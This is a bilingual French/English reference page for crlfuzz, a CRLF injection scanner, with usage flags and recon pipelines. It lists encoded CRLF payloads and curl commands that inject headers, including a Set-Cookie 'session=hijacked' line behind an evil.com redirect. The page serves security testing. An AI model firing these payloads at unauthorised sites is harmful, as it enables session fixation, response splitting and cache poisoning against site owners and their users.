← retour aux outils back to tools

# crlfuzz

Scanner d'injection CRLF rapide écrit en Go. Teste l'injection d'en-têtes HTTP via des caractères de retour chariot / saut de ligne dans les paramètres d'URL. Fast CRLF injection scanner written in Go. Tests for HTTP header injection via carriage return/line feed characters in URL parameters.

↗ https://github.com/dwisiswant0/crlfuzz

## Overview

crlfuzz scans for CRLF (Carriage Return Line Feed) injection vulnerabilities in web applications. CRLF injection can lead to HTTP response splitting, header injection, XSS, and session fixation. The tool is fast and can scan multiple targets in parallel.

## Basic Usage

Scan a single URL

    crlfuzz -u "https://example.com/path?param=value"

Method (default: GET)

    crlfuzz -u "https://example.com/" -X POST

From file

    crlfuzz -l urls.txt

Silent output (only vulnerable)

    crlfuzz -u "https://example.com/" -s

Verbose output

    crlfuzz -u "https://example.com/" -v

## Performance

Set concurrency

    crlfuzz -l urls.txt -c 25

Set timeout (seconds)

    crlfuzz -u "https://example.com/" -t 10

Skip SSL verification

    crlfuzz -u "https://example.com/" -k

## What CRLF Injection Enables

    Injection payload: %0d%0a (CR+LF)
                       %0d (CR)
                       %0a (LF)
                       %23%0d%0a (# + CR+LF)

    Impact:
      - HTTP response splitting
      - Set-Cookie header injection (session fixation)
      - XSS via injected Content-Type or X-XSS-Protection headers
      - Cache poisoning
      - Log injection

## Manual Testing

Test if a parameter is injectable

    curl -v "https://example.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=hijacked"

Check response headers for injection

    curl -sI "https://example.com/?param=test%0d%0aX-Injected:%20true" | grep -i "injected"

    # Common injection points
    # - redirect parameters: ?url=, ?next=, ?return=
    # - tracking: ?ref=, ?source=, ?from=
    # - search: ?q=, ?search=, ?query=

## Integration

Combine with subfinder + httpx

    subfinder -d target.com -silent | \
      httpx -silent | \
      crlfuzz -l - -s

With waybackurls for historical URLs

    waybackurls target.com | \
      grep "=" | \
      crlfuzz -l - -s

## Tips

- Focus on redirect parameters (`?url=`, `?next=`, `?return=`) — highest yield
- CRLF in headers (not just body) is where impact lies
- Combine with `gf redirect` to pre-filter URLs to likely redirect params
- Verify manually with curl — automated tools can have false positives

Help / Man page

    crlfuzz [flags]

    -u URL          Target URL
    -l FILE         File with list of URLs
    -X METHOD       HTTP method (default: GET)
    -c N            Concurrency (default: 25)
    -t N            Timeout in seconds (default: 10)
    -s              Silent mode (only print vulnerable)
    -v              Verbose mode
    -k              Skip SSL verification
    -H HEADER       Custom header
    -x PROXY        Proxy URL

## Vue d’ensemble

crlfuzz recherche les vulnérabilités d’injection CRLF (Carriage Return Line Feed) dans les applications web. L’injection CRLF peut mener à du HTTP response splitting, de l’injection d’en-têtes, du XSS et de la fixation de session. L’outil est rapide et peut scanner plusieurs cibles en parallèle.

## Utilisation de base

    # Scanner une seule URL
    crlfuzz -u "https://example.com/path?param=value"

    # Méthode (défaut : GET)
    crlfuzz -u "https://example.com/" -X POST

    # Depuis un fichier
    crlfuzz -l urls.txt

    # Sortie silencieuse (seulement les vulnérables)
    crlfuzz -u "https://example.com/" -s

    # Sortie verbeuse
    crlfuzz -u "https://example.com/" -v

## Performance

    # Définir la concurrence
    crlfuzz -l urls.txt -c 25

    # Définir le timeout (secondes)
    crlfuzz -u "https://example.com/" -t 10

    # Ignorer la vérification SSL
    crlfuzz -u "https://example.com/" -k

## Ce que permet l’injection CRLF

    Payload d'injection : %0d%0a (CR+LF)
                          %0d (CR)
                          %0a (LF)
                          %23%0d%0a (# + CR+LF)

    Impact :
      - HTTP response splitting
      - Injection d'en-tête Set-Cookie (fixation de session)
      - XSS via injection d'en-têtes Content-Type ou X-XSS-Protection
      - Cache poisoning
      - Injection dans les logs

## Test manuel

    # Tester si un paramètre est injectable
    curl -v "https://example.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=hijacked"

    # Vérifier les en-têtes de réponse pour l'injection
    curl -sI "https://example.com/?param=test%0d%0aX-Injected:%20true" | grep -i "injected"

    # Points d'injection courants
    # - paramètres de redirection : ?url=, ?next=, ?return=
    # - tracking : ?ref=, ?source=, ?from=
    # - recherche : ?q=, ?search=, ?query=

## Intégration

    # Combiner avec subfinder + httpx
    subfinder -d target.com -silent | \
      httpx -silent | \
      crlfuzz -l - -s

    # Avec waybackurls pour les URLs historiques
    waybackurls target.com | \
      grep "=" | \
      crlfuzz -l - -s

## Conseils

- Concentrez-vous sur les paramètres de redirection (`?url=`, `?next=`, `?return=`) : le meilleur rendement
- L’impact du CRLF réside dans les en-têtes (pas seulement le corps)
- Combinez avec `gf redirect` pour pré-filtrer les URLs vers les paramètres de redirection probables
- Vérifiez manuellement avec curl : les outils automatisés peuvent avoir des faux positifs

Aide / Page de manuel

    crlfuzz [flags]

    -u URL          Target URL
    -l FILE         File with list of URLs
    -X METHOD       HTTP method (default: GET)
    -c N            Concurrency (default: 25)
    -t N            Timeout in seconds (default: 10)
    -s              Silent mode (only print vulnerable)
    -v              Verbose mode
    -k              Skip SSL verification
    -H HEADER       Custom header
    -x PROXY        Proxy URL